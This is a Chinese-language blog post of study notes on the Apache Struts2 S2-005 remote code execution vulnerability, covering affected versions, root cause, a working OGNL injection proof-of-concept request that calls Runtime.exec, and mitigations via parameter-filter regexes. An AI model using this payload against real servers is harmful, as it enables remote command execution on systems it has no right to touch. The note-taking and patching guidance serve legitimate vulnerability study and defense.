【无标题】(RCE)(Struts2)(笔记)s2-005漏洞学习笔记

写在前面

这篇文章是关于作者学习s2-005漏洞的笔记
关于这篇文章,如果有建议或问题请留言或联系h3llow0rld@foxmail.com

正文

漏洞分析

漏洞详情页
环境获取
如果想远程调试,参考这篇文章

影响版本

Struts 2.0.0 - Struts 2.1.8.1

漏洞原理

漏洞原理同s2-003,本质上是对恶意字符过滤不充分,在修补s2-003的时候,官方的做法是新增加 allowStaticMethodAccess 属性,这相当于上了把锁,但是钥匙还在别人手里,只要把这个属性关了,就绕过限制了

利用条件/测试情景

s2-003

利用方法

PoC:(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

如何修复
紧急处理方法(仅供参考)

配置struts.xml文件

<interceptor-ref name="params">
    <param name="excludeParams">dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>
</interceptor-ref>

观察恶意请求的流量特征,设置安全设备的防护规则

补丁修复方法

重新设计了匹配的正则表达式:

private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值